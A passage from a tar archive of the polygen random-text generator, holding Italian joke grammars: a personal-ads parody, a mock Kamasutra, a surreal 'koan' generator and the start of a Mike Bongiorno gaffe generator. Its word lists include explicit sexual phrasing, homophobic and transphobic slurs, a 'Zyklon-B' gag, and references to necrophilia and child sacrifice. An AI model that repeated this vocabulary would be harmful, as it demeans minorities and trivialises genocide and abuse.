(Gh | Male)) ; Finale ::= (pelo sintetico | gas | colori ad olio | chemioterapia | odontoiatri | "Capitan Hook" | mercenari | "HIV" negativo | comunella | torquemada | cotto montecchi | omicidio | cuoio | faraone | fagiane | superquark | blackEdecker | frusta | azzeccagarbugli | problemi statura | allergia ebano | manette di pelo | scarpe | lingua | rap | figli | trans | froci) ; Cerca ::= arto (ortopedico | mutilato | uncinato) con (fallo | vagina | utero | santino di "Jovanotti") vibrante | [interessante] incarico come betoniera e Amante | propio clone | sella e morso equini | Soggetto Male | manganello nero | "Zyklon-B" | gemelli siamesi | capretto mentulato [modello chiazzato] | nani di gesso | cucciolo tipo "Bambi" | esperto palafitte [Amante] | galante garzone tuttofare "part-time" Male | coppie | grosso pesce | proseliti adoranti idolo feticcio raffigurante incastro orrendi nani alati privi arti | coppia con figlio deforme | gatto delle nevi [cingolatissimo pluriaccessoriato] ; (* fare Cerca AGgettivi plurali *) Amante ::= amante >(clisteri di ghiaia | deposizione uova in bocca | sacrifici (umani | di >(anziani | bambini | donne [pregne] | animali [(vivi | morti)] | pontefici)) | pratiche sadomaso multicinghia | fisting (vaginale | anale) | religioni dimenticate | lingue morte | scherzi da prete | bigiotteria slava | percosse da "Hooligan" ubriaco | comignoli | febbre del sabato sera | feticci "Mara Venier" | scarpe usate | zuppa del casale | confessioni | pratiche orali | guerra "Vietnam" | sudore della fronte | feti morti | fellatio su cadaveri | cunnilingus estremo | feci colorate | clisteri zuavi) ; Per ::= per >(partite a (solitario | rubamazzo | tresette | scopa) | trarre ispirazione | essere iniziato ai piaceri della passivita' | battute di caccia | "week-end" palustri tra canne^"," rane e serate limacciose | trenino dell'amore | addestramento supino | interessante capriccio scientifico | esperimenti gravitazione universale | matrimonio | ballo liscio | scalata colline | pic nic all'insegna della coprofagia) | scopo >(amore platonico | amicizia (senza fine | duratura) | elezione a presidente del consiglio | amore di gruppo | invenzione acqua calda | conquista globo terrestre a risiko | esorcismo) ; polygen-1.0.6.ds2/grm/ita/kamasutra.grm0000644000175000017500000004247010340417034017246 0ustar enricoenricoI ::= "title: Kamasutra\n" ^ "author: Er Poly <mogkogk@hotmail.com>\n" ^ "language: italian\n" ^ "status: beta\n" ^ "topic: rieducascional\n" ^ "audience: chi vuole farsi una posizione\n" ^ "warning: le figure sono state censurate per evitare pericolosi tentativi di emulazione\n" ^ "created: 03/12/2004" ; S ::= \ Header.bold NL [[ Variante.italic NL ]] NL Descrizione P1 ; TAG ::= ( raw: _ | bold: "" | italic: "" | big: "" | small: "" ); TAGc ::= ( raw: _ | bold: "" | italic: "" | big: "" | small: "" ); Header ::= TAG "#" ^ ( ( Cifra.nz | >( 1 | 2 | 3 | - 4 | -- 5 ) ^ Cifra ) [ ^ Cifra ] ). " - " \ posizione \ NomePos TAGc ; Variante ::= TAG "( " ^ \ [[[ ( e' | si tratta di ) una ]]] ( ([[ nota ]],_ variante _,[Fetish]) | versione ( alternativa | Fetish ) ) NomePos ^ " )" TAGc ; Fetish ::= sadomaso | fetish | estrema | ( [ ben ] piu' | meno ) >( --- libidinosa | dolorosa | pericolosa | faticosa | casta | spirituale ) ; NomePos ::= >> ( del \ ( +++ missionario Pf.7.9.o | ( campanaro | veterinario | sottosegretario | guerriero | sicario | dromedario | postino ) Pf.9.o | perito \agrario P.0.3.o | ( cappellaio | pelliciaio | tabaccaio | calzolaio | pifferaio | benzinaio ) Pf.6.9.o | ( cavallo | granchio | clitoride | gambero | caimano | + drago | fantino | baco \da \seta ) Pf.o | loto P.0.1.8.o | giunco P.0.1.4.5.o | ( chiodo | bastone | pilastro | catamarano | (f|r)^uscello | cavatappi ) P.0.1.4.5.o | --- presidente ( \ operaio <(_|"Per Un'Italia Che Lavora") | \ chansonnier <(_|"Per Un'Italia In Crociera") | \ ottimista <(_|"Per Un'Italia Che Guarda Al Futuro") | --- _ ) ) | dell' ^ \ ( ombrellaio Pf.6.9.o | ( arcobaleno | elefante | orso | asparago ) Pf.o | ( antilope | aquila | ostrica | anguilla | amazzone ) Pf.a ) | della \ ( ( cicala | formica | tigre | rana | puttana | farfalla | tartaruga | puledra | banana | scimmia | rondine | velina ) Pf.a | ( verga | quercia | tenaglia ) P.0.1.4.5.a ) | dei \ ( ( gemelli | fringuelli | canguri | gabbiani | pesciolini ) Pf.5.i ) | degli \ ( ( angeli | eunuchi ) Pf.5.i ) ) << ; Pf ::= P.0.1.2.3.4 ; P ::= \ ( 0: _ | 1: >( pel | ole | nod | odor ) ^ os O | 2: >( gol | foc | vigor | gioc | fest | impetu ) ^ os O | 3: >( sul \ramo | amorevole | ferit O | in \calore | incaprettat O | sudat O | volant E | stiti CO ) | 4: >( rovesciat O | di \smeraldo | in \fuorigioco | inca ^ ( str | + nt ) ^ at O | arcuat O | possent E | sognant E | ben \bilanciat O ) | 5: ( spaccat O | ( in | s ) ^ crociat O ) | 6: matt O | 7: dimissionar IO | 8: alle \oto | 9: >( vision | interplanet | usufruttu | ottuagen | sanguin | bon | incendi ) ^ ar IO ) ; Descrizione ::= ++++ ( ( StandoM V Lui.art.uomodonna | Lui.art.uomodonna [[[V Bendat.o V]]] ) ReggeDonna e [V mentre lei (Gode|+GliSussurra) V lui] LaFaGodere.luilei ) | ++ ( ( [StandoM e] ReggendoDonna.per.che. | ReggendoDonna.per. [e StandoM] ) V Lui.art.uomodonna LaFaGodere.luilei ) | ( Lei.art.uomodonna [[[V Bendat.a V]]] (e'|giace) PosizioneAssoluta.a [(con le|a) (cosce|gambe) (aperte|spalancate|divaricate)] P1 Lui.art.uomodonna ( (sta|+++e'),V ( PosizioneAssoluta.o | Rannichiat.o (+++sopra|sotto|dietro) di lei ) (++e LaFaGodere|P1 Finale),(V (Gode P1 Finale|LaFaGodere)) ).luilei ) | +++ ( ( (StandoF V),_ Lei.art.uomodonna _,[[[V Bendat.a V]]] ) StringeUomo (+++V mentre|--P1 nel frattempo) lui [[[V Bendat.o V]]] (+++Gode P1 Finale|LaFaGodere).luilei ) | ( Lui.art.uomodonna [[[V Bendat.o V]]] (e'|giace) PosizioneAssoluta.o (e|P1) Lei.art.uomodonna ( (sta|+++e') ( PosizioneAssoluta.a | Rannichiat.a (+++sopra|sotto|dietro) di lui ) | [[[V Bendat.a V]]] gli si siede (+++++Cazzo.su|sulla faccia|in grembo) ) P1 ( +++ mentre lui la scopa DiBrutto V lei Gode | quando [poi] Lubrificazione i due amanti possono finalmente (trombare|++scopare|copulare|limonare) DiBrutto ) ) | ( ( ( GliAmanti ( sono | ++ giacciono ) PosizioneCombinata.i P1 ) | ( ( StandoP V GliAmanti si ( ([dis^] pongono | mettono ) PosizioneReciproca | tengono per ParteAnatomica.p.art) | tenendosi per ParteAnatomica.p.art [e StandoP] V GliAmanti si ( [dis^] pongono | mettono ) PosizioneReciproca ) (e|P1) ) ) ( mentre lei (Gode|+GliSussurra) V lui LaTromba | mentre lui le mostra Cazzo.artsuo [e Preliminari] V lei Gode P1 Finale.uomodonna. | a questo punto lui LaFaGodere [P1 durante l'amplesso lei Gode] | Finale ).luilei ) ; Lui ::= luilei: ( X: _ | art: _ | di: di | da: da | in: in | su: su di | artsuo: il suo | insuo: in ) lui | uomodonna: ( L uomo | IL partner | IL maschio ) ; Lei ::= luilei: ( X: _ | art: _ | di: di | da: da | in: in | su: su di | artsuo: la sua | insuo: in ) lei | uomodonna: ( LA donna | LA partner ) ; SuoCompagno ::= IL (suo|+++++proprio) (compagno|Lui.X.uomodonna.); SuaCompagna ::= (LA [[propria]] (compagna|Lei.X.uomodonna.)|----------LA bambola gonfiabile); GliAmanti ::= l'uomo e la donna | --- il principe e la sua sposa | i [due] partner | ( gli | i due ) amanti ; Rannichiat ::= _ | rannicchiat O | distes O | sdraiat O | in piedi | ferm O | accoccolat O | a cavalcioni | in agguato | in bilico ; Bendat ::= +++++ bendat O | +++ legat O | incatenat O | eccitat O | sudatissim O | + voglios O | vestit O | ----sconvolt O ; StandoM ::= Stando.ms.mp.o; StandoF ::= Stando.fs.fp.a; StandoP ::= Stando.fs.fp.ms.mp.i; Stando ::= >(++stando|rimanendo) PosizioneAssoluta | stando attent O a non farsi male | >(bilanciandosi|facendo leva) (con ParteAnatomica.art|ParteAnatomica.su).s.p | aiutandosi con ParteAnatomica.art.(s|+++++p) | inarcando ParteAnatomica.art.s.p | --- (ancorandosi|puntellandosi) [saldamente] al suolo | appoggiandosi (al muro|alla parete|ParteAnatomica.su.s.p) | flettendo [un poco] (le gambe|++ParteAnatomica.art.s.p) ; LaFaGodere ::= +++ LaTromba | Preliminari P1 Finale ; DiBrutto ::= _ | definitivamente | senza se e senza ma | serenamente | platonicamente | [senza sosta|ininterrottamente] per (due|tre|quattro|otto|dodici) ore [filate] ; LaTromba ::= (irrompe|si fa strada|penetra) ( (Fica.in),(Fica.insuo) con (Cazzo.artsuo),(Cazzo.art) ) | -- scavicchia ma non apre | ( [se] la >(+++scopa|tromba|intoppa) | la penetra ) ( + DiBrutto | come una porca assassina | come uno spiedino [vivente|++gigante] | come un >(mandrillo|porcone|procione|^o stantuffo) (invasato|imperioso|vivente|impazzito) | come un (++ossesso|indemoniato) ) | le spezza i legamenti crociati [+con un intervento a gamba tesa|--con un colpo secco] | la penetra ( con ([grande] vigore|dolcezza [infinita]|delicatezza) | [in profondita'|profondamente|ritmicamente|lentamente] con Cazzo.artsuo | proprio quando (non|meno) se l'aspetta | [(lenta|delicata)^mente] [(inserendo|conducendo|spingendo) ( (Cazzo.artsuo),(Cazzo.art) (Fica.in),(Fica.insuo) )] ) | ( la,_,_ (+++esplora|ispeziona|approccia|riempie) (nelle parti intime),(Fica.art),(Fica.artsuo) con (Cazzo.art),(Cazzo.artsuo),(Cazzo.art) ) V ma (delicatamente|senza esagerare) | ( _,le (+++inserisce|infila|colloca) Cazzo.art (Fica.insuo),(Fica.in) ) | -- la (stimola|++soddisfa) (+sessualmente|oralmente) | ---- la fa sentire donna | ------ glielo mette in quel posto ; Preliminari ::= (la,le lubrifica [ansimando|sapientemente],(ParteAnatomicaF.art) ) | + (la,le cosparge _,ParteAnatomicaF.art) di (+++\cointreau|aceto balsamico|polenta|panna|glassa|saliva|azoto liquido) | le (passa un ghiacciolo|alita) ParteAnatomicaF.su | le (mozzica|mordicchia) ParteAnatomicaF.art | le abbassa le tasse | le (stimola|cerca|tasta) il punto \(+++++g|jeeg) | (le (arrostisce|brucia),stacca le piattole con (l'accendino),(una pinzetta)) | ++ (la,le (frusta|percuote|tocca|massaggia|accarezza|sfiora|gratta) [(dolce|delicata)^mente|con [estrema] dolcezza] _,ParteAnatomicaF.art) ; ReggendoDonna ::= ([sor^]reggendo|tenendo [sollevata]),(tenendo ferma),(dopo aver pagato) SuaCompagna.art (per ParteAnatomicaF.art),(per:_|che:V che intanto Gode),(+++in contanti|anticipatamente) ; ReggeDonna ::= ( ([sor^]regge),(tiene sollevata) SuaCompagna.art [tenendola],_ per ParteAnatomicaF.art ) | ( tiene ferma,_ SuaCompagna.art _,(per ParteAnatomicaF.art) ) ; StringeUomo ::= (+++stringe [forte|con forza] tra|cinge con|stritola fra|serra (tra|con)) le (gambe|cosce|mani) ( SuoCompagno.art | ++++ParteAnatomica.art.s.ms. SuoCompagno.di | i >(+++lombi|glutei|++++fianchi) SuoCompagno.di ) ; PosizioneCombinata ::= ( { 1: PosizioneAssoluta }(1:(2:V)){ 2: PosizioneReciproca } ).(1|2).(1|2) ; PosizioneAssoluta ::= >( sdraiat O | distes O | coricat O | chin O ) ( su un fianco | sulla schiena | sul ventre | Altrove ) | appes O al ( soffitto | lampadario ) |>( in posizione >( distesa | supina | eretta | prona | fetale ) | in piedi | in ginocchio | genufless O | sedut O | capovolt O | immobil E ) [ Altrove ] ; PosizioneReciproca ::= uno di fronte all'altra | ( ortogonali | perpendicolari | paralleli | aggrovigliati ) tra di loro | [ accatastati | rannicchiati | incuneati ] ( ( pancia | schiena ) contro ( pancia | schiena ) | di schiena | di lato | faccia a faccia ) ; Altrove ::= sul divano | ++ (sul [[bordo del]]|---di fianco al|---sotto il) letto | + sul pavimento | --- sul pianerottolo | --- dentro l'ascensore | --- sul sedile (posteriore|anteriore) ; Gode ::= >( gode | geme | vomita | rantola ) [ come ( mai prima d'ora | ++ un animale [ferito] ) ] | emette ( gemiti | latrati | ululati | grugniti | rantoli ) di [ intenso ] ( piacere | godimento [ clitorideo | vaginale | anale ] ) | chiede aiuto | implora pieta' | muore (felice|venendo) | si droga | si depila | (chiama il|telefona al) pronto soccorso | guida a tutta velocita' | ( +++ ansima | ulula ) [ forte | di gusto ] | respira piano senza far rumore [ e si addormenta di sera e si risveglia col sole ] | legge il giornale | guarda dal buco della serratura | ( sfoglia | guarda ) i giornaletti (++zozzi|porno) | ( pensa al^ | telefona al^ | chatta con ) ( le puttane | la segretaria | la portinaia | la vicina di casa | lo psichiatra | la stagista | l'assistente sociale | la signora del ( primo | secondo | terzo | quarto | quinto ) piano ) | si abbandona al ( piacere | godimento | ^ la goduria | ^le porcate ) | (simula|raggiunge) l'orgasmo | gioca con la \play \station | propone [impaziente] di provare ( (anche la),(subito una nuova) posizione _,((+++V tipo|e di fare) quella) NomePos) | si lascia sfuggire (un [sonoro] peto|una puzzetta [fetente]) [[proprio] sul piu' bello] | collega la webcam | visita i siti porno | si masterizza l'evento | s'impettina tipo caimano | rimpiange di non avere ( le emorroidi | lo scolo | l'encefalopatia spongiforme | la sifilide | il varicocele | il morbo di "Creutzfeldt-Jacob" | la gastroenterite | l'herpes | l'esofagite da reflusso | l'alitosi | l'ernia [ iatale ] ) ; ParteAnatomicaM ::= ParteAnatomica.s.p.ms.mp ; ParteAnatomicaF ::= ParteAnatomica.s.p.fs.fp ; ParteAnatomica ::= s: IL >( braccio | ginocchio | polso | piede | gluteo | polpaccio | gomito ) ( sinistro | destro ) | s: IL dito [ indice | medio | anulare | mignolo ] | s: IL >( + bacino | collo | ++ culo | mento | + naso | petto ) | s: L >( addome | alluce | avambraccio | ombellico ) | s: LA >( gamba | coscia | mano | natica | spalla ) ( sinistra | destra ) | s: LA >( bocca | colonna vertebrale | gobba | lingua | nuca | pancia | panza | + schiena | + testa ) | s: LA parte ( anteriore | posteriore ) del corpo | ms: IL >( coso | glande | portafoglio | prepuzio | membro ) | fs: IL >( clitoride | seno ) | p: II >( ++ capezzoli | denti | +++ fianchi | genitali | glutei | lombi | capelli | maniglioni antipanico | pollici ) | p: LE >( + braccia | caviglie | chiappe | ++ cosce | costole | dita [ dei piedi ] | + gambe | maniglie dell'amore ) | p: LE >( ginocchia | mutande | narici | natiche | orecchie | parti ( intime | umide ) | sopracciglia ) | p: GLI alluci | mp: LE reni | mp: GLI >( zebedei | attributi ) | mp: II testicoli | fp: II seni | fp: LE >( mammelle | tette | zinne | [[grandi]] labbra ) ; Cazzo ::= IL [ [ -- \sacro | \turgido | \maestoso ] ] >( \bastone | \serpente | \cobra | \pilone | \pistone | \pennone | \merolone ) ( \dorato | \di \giada | \di \fuoco ) | LA \picca \di \giada | LA [ [ -- \sacra | \turgida | \maestosa ] ] \spada ( \di \fuoco | \infuocata ) | LA \verga [ +++ \dorata | \di \giada | \di \fuoco ] | LA [ \turgida | \possente ] \colonna ( +++ \dorata | \di \giada | \di \alabastro ) | ( IL \turgido | LO ) >( \scettro \imperiale | \stecco \ducale | \stelo \di \giada ) | IL \maglio \perforante | IL \missile \centrale | >( LA \trivella | L \alabarda ) \spaziale | LA \bacchetta \magica | L \uccello ( \dorato | \di \fuoco ) | L ( \organo [\maestoso] | organo di riproduzione ) | ------ IL >( cazzo | pene | \coso | membro [ virile ] ) ; Fica ::= IL [ \dolce ] >( \giardino | \pertugio ) \segreto | IL condotto uterino | LA \caverna >( \di \fuoco | \misteriosa | \muschiosa | \ombrosa ) | LA \foresta \oscura | LA >( \dolce | \calda | \sacra | _ ) \fessura | LA [calda[e umida]|morbida|misteriosa] cavita' vaginale | --- L \apposito \vano | L \abisso [ \profondo | \senza \fine ] | --- LA >( vagina | vulva | \cosina | \ciccina | patat[^in]^a ) ; Trombano ::= Lui.art LaTromba | i due ( +++ amanti | +++ partner | suini | erotomani | maiali | zozzoni ) >( (++++scopano [insieme]|copulano|si accoppiano) | si mettono a limonare ) ( DiBrutto | come due (ossessi | >(procioni|ricci) (+invasati|impazziti|indemoniati)) ) ; Lubrificazione ::= ( _,(e' stato raggiunto) il _,giusto grado di lubrificazione (ha raggiunto il suo valore ottimale),_ ) ; Finale ::= ( -- una volta >( --------- sbrigate le solite formalita' | che Lubrificazione | completati ([[tutti]] i [[[soliti]]] (++++++_|noiosi|faticosi)) preliminari ) finalmente Trombano | quando >( Lei.art (finalmente e'|si sente) pronta | i capezzoli Lei.di sono sufficientemente (induriti|puntuti) | Lubrificazione | i genitori Lei.di escono [di casa] e il lettone e' finalmente libero ) allora ( Lui.art capisce che e' (tempo|[quello] il momento) di (++++agire|entrare in azione) e LaTromba | Trombano ) | al momento (+++opportuno|giusto) Trombano | una volta raggiunta [faticosamente] l'erezione V Lui.art LaTromba ) ; GliSussurra ::= gli (+++sussurra|urla) ( porcate [irripetibili|indicibili] nell'orecchio | [ansimando] Va >( + ["si'!!!"] dimmi che sono (una|+++la tua) (stronza|lesbica in calore|donna di facili costumi|mucca pazza|vacca) P3 | "no martini? no party!" | metti lo diavolo tuo ne lo mio inferno P3 | welcome to paradise P3 | [mmmh P3] ti prego V dimmi che sei (gay|frocio) P3 | ( fammi tua | prendimi | aprimi ) ESCL qui ESCL ora ESCL | all you need is love P3 | adesso spogliati come sai fare tu [ma non illuderti io non ci casco piu'] P3 | --- corri ragazzo laggiu' [vola tra lampi di blu] ESCL | in realta' sono un uomo P3 | - dammi una lametta che mi taglio le vene P3 | -- ho le mie cose P3 | rompimi piano P3 | - gia' fatto ^ "?" ) Vc ) ; O ::= ^ ( o: o | a: a | i: i | e: e ); CO ::= ^ ( o: co | a: ca | i: ci | e: che ); IO ::= ^ ( o: io | a: ia | i: i | e: ie ); E ::= ^ ( o: e | a: e | i: i | e: i ); P1 ::= ^"."\; P3 ::= ^"..."\; DP ::= ^": " ; NL ::= ^"\n"^\ ; NL2 ::= NL NL ; V ::= ^","; Va ::= "\"..."^ ; Vc ::= ^"\"" ; ESCL::= ^"!" ; IL ::= ( X: _ | art: il | di: del | da: dal | in: nel | su: sul | artsuo: il suo | insuo: nel suo ); LO ::= ( X: _ | art: lo | di: dello | da: dallo | in: nello | su: sullo | artsuo: il suo | insuo: nel suo ); LA ::= ( X: _ | art: la | di: della | da: dalla | in: nella | su: sulla | artsuo: la sua | insuo: nella sua ); L ::= ( X: _ | art: l'^ | di: dell'^ | da: dall'^ | in: nell'^ | su: sull'^ | artsuo: l'^ | insuo: nell'^ ); II ::= ( X: _ | art: i | di: dei | da: dai | in: nei | su: sui | artsuo: i suoi | insuo: fra i suoi ); GLI ::= ( X: _ | art: gli | di: degli | da: dagli | in: negli | su: sugli | artsuo: i suoi | insuo: fra i suoi ); LE ::= ( X: _ | art: le | di: delle | da: dalle | in: nelle | su: sulle | artsuo: le sue | insuo: fra le sue ); Cifra ::= z: 0 | nz: >( 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 ) ;polygen-1.0.6.ds2/grm/ita/koan.grm0000644000175000017500000002611510340417034016204 0ustar enricoenricoI ::= "title: KoAn\n" ^ "author: Lucifero >lucifero@lucifero.org>, Entropyst\n" ^ "language: italian\n" ^ "status: mature\n" ^ "topic: misc\n" ^ "audience: anybody\n" ^ "created: 26/08/2004" ; S ::= \ (Intro Attore | Attore Intro) [^"," (Emozione1|Emozione2) ^"," ] ^ "\n" ^((Azione) | (e|ma) Delirio) ^"."\ ^ "\n" ^[(poi|come) Delirio ^"."\ ^ "\n" ]^"\n" ^Cose^ "\n" ^Imparare ^ "\n" ^Esistava^ "\n"^"\n" ^Canzone ^ "\n"^"\n" ^TitoloCanzone ; Intro ::= tra le bancarelle | passata la serata | a trentunanni | sui navigli | fino alle 3 | e vedere te | niente per me stanotte qui fuori | in bici senza mani | valere allo stesso modo | vicino al tuo letto | nel cuore pieno della notte | leggevo da sola sul divano | ubriaca dei navigli | facevo un bagno blues | un sushi sulla pelle | due vodka lemon | un triangolo beveva birra | persa nei miei cassetti | aspettando una nuova alba | godendosi questo cazzo di presente | quando la notte era notte | smettere | e non posso fare a meno di pensare | la parola ano e' una parola corta | ho gli occhi pieni di caccole | cosi' me stessa che non sono mai stata | tra scegliere e non scegliere ho scelto di scegliere | spendere 900 euri in libri | in other words | a volte avverto chiaramente | la realta' non mi appartiene | nessuno mi vuole bene | tensione, sguardi obliqui, pinguini | la seduzione per il gusto della seduzione ; Attore ::= l'evidenza | le regole | i modi di fermare | l'anima blues | la tramontana | le tette | la cosina | trentunanni | petali fragili e isterici | gente che mi vuole bene | una patata blues | lancette tonde | la bellezza delle cose che ama nascondersi | il piercing sulla pancia | tutto cio' che non e' ostentato | l'essenza e l'apparenza fuse | il mio sorriso da battaglia | una sola definizione | ventisette nuovi libri | l'andare a fare delle cose | il mondo che non e' tondo | l'essere molto piu' bella di cosi' | l'unaequaranta di notte abbracciata al cuscino | uno scendiletto saccente | un brufolo imprevisto | una brischetta nell'occhio | il sapore di una lingua al tugsteno | uma matrioska blues | le dita avide | il vento che tira piu' della patata | spigole, spigole ovunque | un vento cavernoso cobalto ; Emozione1 ::= gongolo | basisco | spero | eiaculo | strepido | muoio | corrompo | esco | adrenalizzo | sogno | mangio | rutto | mi scaccolo | percepisco | lievito | turnico | rinasco | mi esercito | assaporo | dormo | leggo | scrivo | mi svesto | parto | torno | saluto | piango | rido | parlo | avverto | acclamo | inneggio | sperpero | recupero | sgravido | scoreggio | lucido | inturgidisco ; Emozione2 ::= morbida | leccata | ingrifata | gravida | sudata | bagnata | lieve | nuda | spogliata | vuota | tonda | paurosa delle risposte | suonata | insonne | incosciente | trentunenne | debosciata e in piena tempesta ormonale | pazza pazza pazza | innamorata | svestita | scapigliata | scalza | rapida | arroccata come la paprika | volenterosa | vogliosa | annodata | mai capita | incazzata come una tapira amaranto | fatta come una zucchina ; Azione ::= sollevare polvere | provocare brividi | spazzare via | lasciare che i pesi s'inventino | mandare sms | chiudere gli occhi | giocare con me | provare a baciare | incollare gli occhi | condire i capelli | schiudere ugole | gridare all'ascensore | fare un bagno nel mio letto | muoversi invece di stare ferma | spazzare via un brivido | buttare la spazzatura | tagliare le unghie dei piedi | pagare i debiti di giuoco | smetterla di singhiozzare singhiozzi singhiozzando | barare senza saperlo fare | fare la prima mossa | cospargersi di ritmi sballati | annegare nei navigli |guardare in direzioni che non mi appartengono | far vivere delle magie | essere svegliata dai muratori | accorgersi di un'occhiata libidinosa | rompersi il cazzo | tenere stretta una mano | fingere risate |comprare altri libri | salire le scale | parlare di me | dire cose piccole e sciocche | essere un'adolescente | avere degli occhi diversi | depilarsi le ascelle | radersi le gambe | usare l'assorbente | sfornare torte ; Delirio ::= che poi alla fine va bene | non equivale a perdere per abbandono | non e' detto che io diventi camaleonte | bisogna lasciare giganti | leccando cose che si fanno da sole | non fare in tempo nei ritmi sbagliati | in direzioni che non mi appartengono | cio' che resta del cammino e dello zucchero | era come e' adesso | qualcuno vuole davvero ascoltare il linoleum | il permesso dell'insicurezza dei soggetti | fumo e metallo insieme nel barattolo | una cosa asettica non cola trasparente | il vetro si scioglie fragile | la parte migliore e' leccarsi le dita | fluisce tra le coscie | era l'unica cosa da fare nel tondo vuoto | si vive come in angoli di papaja | si vive in posti dove come altrove si lascia che sia | la meta' dei miei anni succede sempre che c'e' la luna piena | due nasi fanno male come quell'estate lontana | posso parlare di me ma non se ne parla | cose che fanno voltare e scuotere la forfora | con una vertigine assoluta di dentifricio | buona vita a chi manca un passaggio | secondo precisi accordi non transitivi | mp3 random in sottofondo | di solito troppo poca per chiunque altro | le mie domande non cantano intonate | il sake sembra piu' sake | viziata come una ventenne incosciente | il potere taumaturgico del sushi | mi voglio bene ogni volta che somatizzo | gli uccellini cinguettano augh | no no l'estetista ha pareti troppo bianche e lucide | parole come perle imbrattate di significato | pensieri cattivi tra le gambe | per adesso la pelle dice ciao senza domande | non importa cosa guadagna e perde il semaforo | la perenne battaglia tra la saggezza e l'ippopotamo | l'alce di nylon, tu sai di cosa parlo | nascere, morire, comprare la scarola | posso tranquillamente negare di essere amata al contrario | i conigli albini mischiati di tramonto | le patate al forno sussurrano tra le maledette spigole ; Canzone ::= ("I" | "You") and (me | him | her) together ^ "\n" ^(more than|within|out of|pain on|oil on|ship with|only|cut on|path of|shadow of) (a heart | a tale | a fire | a paint | a glass | a plastic chase | an airplane | a borderline | an animal | an istinct | a lake | a spaceship | a dream | a black box) ^ "\n" ^(obsessing | dressing | painting | burning | changing | fucking | talking | thinking | selling | writing | eating | sleeping | killing | dancing | loving | moving | jumping | stealing | messing up | closing | opening) (our lives | our souls | our bodies | our minds | our feelings | our earths | our emotions | our dreans | our kisses | our fingers | our lies | our skies | our lifes | our arms | our hands | our foots | our opinions | our shapes | our nights | our days | our voices) ^"\n"^"\n" ^(nowhere | somewhere|anyware|in the world|in the universe|in the street|in the room|between us| on the road|outside|inside) there is (something | nothing |happyness|dead|life|everything|sex)^ "\n" ^"I" [don't] (need | believe | look for | love | think | change | need | want | call | talk | walk| fight|remember|go on|forget|forgot) ; TitoloCanzone ::= "("^"\"" ^ ("Singing" | "Laying" | "Porning" | "Sitting" | "Looking" | "Eating" | "Thinking" ) the (dark | bright | fast | hidden | perfect | bad | shiny | round | little | red | black | right | wrong | incredible) (side | shape | place | circle | triangle | hole) of (me | myself | my life | my cat | my soul | my mind | my car | my attitude | my house | my legs | my dreams | my sky | my tree | my bed | my book | you | he | she) ^"\""^"," [("Robert" | "Maluga" | "Ostuni" | "Maj" | "Raphael" | "David" | "Mike" | "Martha" | "Christine"| "Jack"|"Samuel"|"Mario"|"Teresa"|"Cristina"|"Celine"|"Frank"|"David"|"Alexia")] ("Costello" | "Henk" | "Casmis" | "Theore" | "Smith" |"Moore" | "Stevenson" | "White" | "Santana"|"Jackson"|"Lavigne"|"Holyday"| "Oats'")^")" ; (* il secondo tormentone, del tipo "Le cose belle della vita. Imparare ad andare in bici senza mani a trentunanni. E si stava bene" *) Cose ::= ("Le avventure"|"Le cose"|"Le sensazioni"|"Le variazioni" |"Le perdite" |"Le vibrazioni"|"Le emozioni"| "Le stronzate"|"Le mestruazioni"|"Le fatalita'"|"Le oscillazioni"|"Le iniquita'"|"Le oscenita'"| "Le ironie"|"Le paturnie"|"Le intensita'"|"Le frittelle"|"Le protuberanze"|"Le gibbosita'"| "Le insicurezza"|"Le certezze"|"Le lacrime"|"Le palpitazioni"|"Le azioni"|"Le reazioni"| "Le rotondita'"|"Le eccitazioni"|"Le canzoni"|"Le partenze"|"Le vaccinazioni") (belle|folli|saporite|calde|fredde|tiepide|bollenti|scatenate|cedevoli|interessanti|memorabili| perdute|insane|formose|succose|paciose|rapide|incresciose|semifredde|ghiaccicate|focose|untuose| melmose|pericolose|faticose|sfrenate|pazze|sciocche|frequenti|ricorrenti|puntuali|inevitabili) della vita":" ; Imparare ::= (imparare ad andare | iniziare a pittare | fischiettare allegra | preparare una torta | pettinarsi la chioma | giocare a scacchi | sollevarsi la gonna | spruzzarsi addosso l'acqua | spargere fiori lilla | ridere tra le lacrime | calarsi le mutande | scrivere al pc | chiamare l'ascensore | canticchiare| contarsi i brufoli | ballare | dondolare | odorare geranei | imparare ancora | apprendere di nuovo ) in (bici|treno|casa|spiaggia|bilico|piedi|chiesa|apnea|estasi|treno|mongolfiera|pattino|triciclo| scala mobile|supermercato|chiesa|cantina|soffitta|piazza|macelleria|edicola|farmacia|autobus|tram| metropolitana|terrazza|corriera|elicottero|frutteria|merceria|sottomarino) [adesso che ne ho 31|al momento trenta e ancora uno| "anni XXXI"|a trentunanni| al momento tre volte dieci piu' uno|ad anni trentuno|non piu' bimba|ormai grande e saggia| ora che sono matura come una pera| ora che non sono piu' (adolescente|ragazzina|bambina|piccola|bebe'|giovincella|teenager|sedicenne| vergine)] ; Esistava ::= "E si" (stava|camminava|parlava|respirava|cantava|amava|sputava|volava|scendeva|rideva|magiava|beveva| dormiva|riposava|gorgogliava|esitava|spasimava|sperimentava|andava di corpo|cucinava il sugo| piantava il basilico|ritirava la posta|cambiava in|digeriva|succhiava|stringeva|ascoltava) bene ; polygen-1.0.6.ds2/grm/ita/mike.grm0000644000175000017500000000562410340417034016203 0ustar enricoenricoI ::= "title: Allegria!\n" ^ "author: CUG <cug@telcanet.it>\n" ^ "language: italian\n" ^ "status: mature\n" ^ "topic: misc\n" ^ "comment: in onore del suo ottantesimo compleanno, ecco una grammatica che genera le gloriose gaffes di Mike Bongiorno che, in un modo o nell'altro, ha cavalcato la storia della TV insieme a noi.\n" ^ "created: 28/5/2004" ; S::= DOMANDA | AFFERMAZIONE | -CAZZITUOI; DOMANDA ::= ((SOGGETTO SEGNO.V DOM OGGETTO).(M|F) ).(TU|LEI) SEGNO.PI ; AFFERMAZIONE ::= ((SOGGETTO SEGNO.V AFF).(M|F)).(TU|LEI) SEGNO.PUE ; CAZZITUOI ::= ((SOGGETTO SEGNO.V CT).(M|F)).(TU|LEI) SEGNO.(--PI|PUE); SOGGETTO ::= \ (TU:(M:(alvise | lodovico) | F:paol[^ett]^a) | LEI:(F:(signora \longari | signorina) | M:(turchetti | signor \no))); DOM ::= (che cos'e' | come funziona | (TU:ti|LEI:le) piace [molto] | quanto misura | ci (TU:faresti|LEI:farebbe) vedere | ci (TU:mostri|LEI:mostrerebbe) | di che cosa si sa | (puzza | profuma) molto | (TU:(tu ti|mi) VERBO|LEI:(lei si|mi) VERBO) | (TU:(usi|maneggi)|LEI:(usa|maneggia|ha a che fare)) spesso ) ; AFF::= ((TU: mi sei | 